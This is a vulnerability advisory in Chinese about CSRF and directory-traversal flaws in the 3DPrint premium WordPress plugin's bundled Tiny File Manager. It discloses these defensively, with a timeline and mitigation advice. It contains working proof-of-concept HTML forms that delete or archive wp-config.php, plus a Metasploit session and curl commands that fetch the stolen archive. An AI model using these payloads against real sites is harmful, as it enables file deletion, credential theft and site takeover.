3DPrint Premium 插件中發現的漏洞
已發表: 2022-12-13啟用文件管理器功能後,高級版 WordPress 插件 3DPrint 容易受到跨站請求偽造 (CSRF) 和目錄遍歷攻擊。 這些漏洞允許攻擊者刪除或訪問受影響站點上的任意文件和目錄,包括站點配置文件等敏感文件,這可能再次導致整個站點被接管。
最近,在查看我們的實驗簽名標記的一些潛在誤報時,我們在 3DPrint premium 插件中發現了一些令我們困惑的代碼。
require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );
global $wpdb;
set_time_limit(0);
ini_set( 'memory_limit', '-1' );
此代碼段位於插件包含目錄中的 Tiny File Manager PHP 模塊中,但在原始 Tiny File Manager 項目中找不到。 它似乎被注入了將其與 WordPress 基於角色的訪問控制集成的意圖。
在不相關的模塊中加載像這樣的 WordPress 代碼文件通常表明有問題,因此我們決定進一步調查。
細心的讀者會注意到,對該模塊的訪問僅限於具有管理員角色的用戶,但沒有隨機數檢查。 如果 Tiny File Manager 有自己的 CSRF 保護,那就沒問題了,但事實並非如此,看起來這段代碼可能容易受到 CSRF 攻擊。 (Tiny File Manager 在我們讓他們意識到這個問題後已經添加了 CSRF 保護。2.5.0 及更高版本使用起來應該更安全!)
一個複雜的因素是 Tiny File Manager 在安裝 3DPrint premium 時不包含在包中,而是在激活時按需下載。 在撰寫本文時下載的版本是 2.4.4 版,但它已被 3DPrint 開發人員大量修改,並且是從他們的域下載的,而不是直接從 Tiny File Manager 存儲庫下載的。
大多數更改刪除了插件未使用的功能,以及一些其他更改,例如對路徑進行硬編碼,限製文件管理器應該能夠訪問的內容。 此外,Tiny File Manager 內置的身份驗證和授權功能已被禁用,取而代之的是上述與 WordPress 角色系統的集成。
我們發現了幾個漏洞,其中修改後的訪問控制和 3DPrint 插件中包含 Tiny File Manager 的組合變得可被外部攻擊者利用。 這包括刪除或下載敏感文件,可能會導致整個網站接管。 這些漏洞利用修改後的訪問控制中缺少隨機數檢查,以及 Tiny File Manager 本身的目錄遍歷漏洞。
我們已嘗試聯繫 3DPrint 插件和 Tiny File Manager 項目的供應商。 其中,只有 Tiny File Manager 項目的開發人員回復了我們並修復了我們提交給他們的問題。
查看我們作為 Jetpack Scan 的一部分的新 WAF,它將開箱即用地防止這些攻擊。 它目前處於測試階段。 Jetpack Scan 還將檢測易受攻擊的組件,並幫助將其刪除。
由於 Tiny File Manager 模塊是按需下載和安裝的,因此插件版本與正在使用的 Tiny File Manager 版本之間不一定存在對應關係。 然而,一旦安裝,似乎沒有一種簡單的方法來更新 Tiny File Manager 模塊,除了手動刪除它並再次激活它。
因此,我們認為如果文件管理器已激活,所有版本的 3DPrint 都容易受到以下漏洞的攻擊。
漏洞
1. CSRF導致任意文件/目錄刪除
- 插件:3D打印
- 插件插件:3dprint
- 插件 URI:http://www.wp3dprinting.com/2015/07/29/changelog/
- 易受攻擊的版本:全部
- 固定版本:無
- CVSS 分數:8.2(高,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
- 漏洞:CVE-2022-3899
包含的 Tiny File Manager 版本(2.4.4 版)中的批量刪除功能沒有針對目錄遍歷提供適當的保護,也缺乏 CSRF 保護。 這允許攻擊者誘使管理員遞歸地刪除服務器上的多個文件甚至目錄。
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
這可以通過將group
和delete
POST 參數傳遞給任何值,並在file
參數中傳遞要刪除的文件/目錄數組來加以利用。 變量$new_path
是FM_ROOT_PATH
和傳入文件名的簡單串聯,傳遞給遞歸刪除函數fm_rdelete()
。 由於fm_rdelete()
不對其提供的路徑名進行任何驗證,這使得此代碼容易受到目錄遍歷攻擊。
這是一個概念證明示例:
<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="delete" value="1">
<input type="hidden" name="file[1]" value="../2020">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
<input type="submit" value="Get rich!">
</form>
所有路徑都相對於服務器上的wp-content/uploads/p3d/
目錄。 當任何登錄的管理員單擊致富按鈕時,他們從 2020 年上傳的內容將與站點wp-config.php
文件一起刪除。
2. CSRF導致任意下載
- 插件:3D打印
- 插件插件:3dprint
- 插件 URI:http://www.wp3dprinting.com/2015/07/29/changelog/
- 易受攻擊的版本:全部
- 固定版本:無
- CVSS 分數:7.4(高,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
- CVE:CVE-2022-4023
Tiny File Manager(版本 2.4.4)中包含的下載所選文件的 zip 或 tar 存檔的功能沒有針對目錄遍歷的保護,並且缺乏 CSRF 保護。 這允許攻擊者誘騙管理員創建一個 zip 或 tar 存檔,其中包含來自站點的任意文件和目錄,包括配置文件或其他敏感內容。
存檔放在正常的 3DPring 上傳目錄中, wp-content/uploads/p3d/
。 文件名只能由攻擊者部分控制,但足夠可預測,因此暴力破解應該相對容易。 如果他們知道偽造的請求是在什麼時間發送的,那麼做出有根據的猜測也應該是微不足道的。
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
通過發送帶有group
post 請求,並將zip
或tar
變量設置為任何值,將創建一個包含file
參數中指定文件的存檔。 當前日期和時間將附加到存檔的文件名中,該文件名將與存檔的文件具有相同的基本名稱,如果多個文件一起存檔,則為“存檔”。 存檔將在 3DPrint 上傳目錄中創建,但文件的路徑名稱未經過清理,並且可能包含此目錄之外的路徑,使其容易受到目錄遍歷攻擊。
為了利用此漏洞,我們為 Metasploit 創建了一個簡單的有效負載模塊,作為一種自我提交的形式,將惡意有效負載發送到易受攻擊的站點。 發送的概念驗證有效載荷是:
<!DOCTYPE html>
<html>
<body>
<form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="zip" value="1">
<input type="hidden" name="file[1]" value="../2022">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
由於 Metasploit 模塊會記錄發送表單的時間戳,因此很容易猜測創建的存檔的正確文件名。
% msfconsole
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00
msf6 payload(html/html_reverse_http) > exit
% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes
% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 87225 100 87225 0 0 2322k 0 --:--:-- --:--:-- --:--:-- 2366k
% unzip -v archive_221210_100649.zip
Archive: archive_221210_100649.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/12/
85888 Defl:X 85655 0% 2022-12-10 10:05 724f1f67 ../2022/12/funny-cat.jpg
1955 Defl:X 1114 43% 2022-11-01 23:25 96f2088a ../../../wp-config.php
-------- ------- --- -------
87843 86769 1% 4 files
請注意我們如何從請求的時間戳中推斷出生成的存檔文件的文件名。 在這種情況下,服務器容器運行的時區比本地時區晚一個時區。
建議
由於安裝的文件管理器版本獨立於安裝的插件版本,我們不能推薦固定版本的插件。
如果以後發布新版本,我們也沒有找到更新文件管理器模塊的簡單方法。
出於這個原因,我們認為如果啟用文件管理器組件,所有版本的 3DPrint 高級插件都容易受到攻擊。
我們的建議是確保禁用文件管理器模塊,並從站點中刪除該文件。
最簡單的方法是刪除文件wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php
(如果存在)。
結論
如果站點上啟用了文件管理器模塊,所有版本的 3DPrint 高級插件都容易受到 CSRF 和目錄遍歷攻擊。 這不會影響從 WordPress.org 插件存儲庫下載的免費版插件。
在 Jetpack,我們努力確保您的網站免受此類漏洞的侵害。 我們建議您為您的站點制定一個安全計劃,其中包括惡意文件掃描和備份。 Jetpack Security 捆綁包是一個很棒的 WordPress 安全選項,可確保您的網站和訪問者的安全。 該產品包括實時惡意軟件掃描、站點備份、來自 Akismet 的評論和表單垃圾郵件保護、暴力攻擊保護等。
學分
Harald Eilertsen 的研究,Benedict Singer、Rob Pugh、Jen Swisher 和 Jetpack Scan 團隊提供的反饋和更正。
時間線
- 2022-09-08:我們得知了這一發現並開始調查
- 2022-10-25:第一次聯繫供應商
- 2022-11-01:供應商通過不同渠道第二次聯繫
- 2022-11-08:公開批量刪除漏洞 (CVE-2022-3899)
- 2022-11-15:就缺乏 CSRF 保護和目錄遍歷漏洞聯繫了 Tiny File Manager 的開發人員。
- 2022-11-19:發布 Tiny File Manager 2.5.0,修復 CSRF 問題,但未修復目錄遍歷問題。
- 2022-12-13:公開披露